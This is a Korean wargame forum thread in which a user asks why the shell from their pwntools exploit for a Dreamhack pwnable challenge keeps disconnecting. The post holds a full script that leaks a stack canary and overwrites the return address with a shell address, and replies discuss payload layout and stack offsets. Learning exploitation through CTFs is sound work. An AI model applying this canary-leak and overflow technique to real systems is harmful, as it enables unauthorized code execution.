쉘이 계속 끊깁니다 ㅠㅜ

익스플로잇 코드를 암만 들여다 봐도 왜 안되는 지 모르겠어서 질문합니다..... 어디가 잘못되었는지 궁금합니다.

<Exploit Code>

     1  #!/usr/bin/python3
     2  from pwn import *
     3
     4  p = remote("host3.dreamhack.games", 15608)
     5
     6  shell_addr = 0x80486b9
     7  canary = b""
     8
     9  for i in range(4) :
    10      p.recvuntil("> ")
    11      p.send("P")
    12      p.recvuntil("index : ")
    13      p.sendline(str(0x80 + i))
    14      p.recvuntil("is : ")
    15      canary += p.recvn(2)
    16
    17  canary = int(canary, 16)
    18
    19  payload = b"A"*0x40
    20  payload += p32(canary)
    21  payload += b"B"*0x4
    22  payload += b"C"*0x4
    23  payload += p32(shell_addr)
    24
    25  p.recvuntil("> ")
    26  p.send("E")
    27  p.recvuntil("Size : ")
    28  p.sendline(str(len(payload)))
    29  p.recvuntil("Name : ")
    30  p.send(payload)
    31  p.interactive()

<실행 후 화면>

#pwnable
작성자 정보
답변 2
avatar
Rasser
워게임: 20
    19  payload = b"A"*0x40
    20  payload += p32(canary)
    21  payload += b"B"*0x4
    22  payload += b"C"*0x4
    23  payload += p32(shell_addr)

이 부분 수정해보세요.
dummy(40) | rbp-0x4(canary) | rbp | ret인데, 지금은

dummy(40) | rbp-0x4(canary) | "B"*4 | "C"*4 | p32(shell_addr)인거 같습니다.

2022.07.22. 15:42
탈퇴한 이용자
대표 업적 없음

죄송합니다 답변을 늦게 보게 됐습니다.
다시 한번 제가 gdb로 스택의 변수 위치를 고민을 해봤는데요 다음과 같이 생각했습니다.

ebp : 0x4
canary : 0x8
ebp - 0x48 : name
ebp - 0x88 : box
ebp - 0x8a : select[2]
ebp - 0x90 : name_len
ebp - 0x94 : idx

따라서 공격 코드를 작성할 때는

payload = b"A"*0x40
payload += p32(canary)
payload += b"B"*0x4
payload += p32(shell_addr)

이렇게 짜고나서 익스를 해봤는데 여전히 ls 명령을 두 번 치면 세션이 끊깁니다.

다른 코드는 문제 없는 거 같은데 왜 그럴까요 ㅠㅠ

2022.08.03. 20:09
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기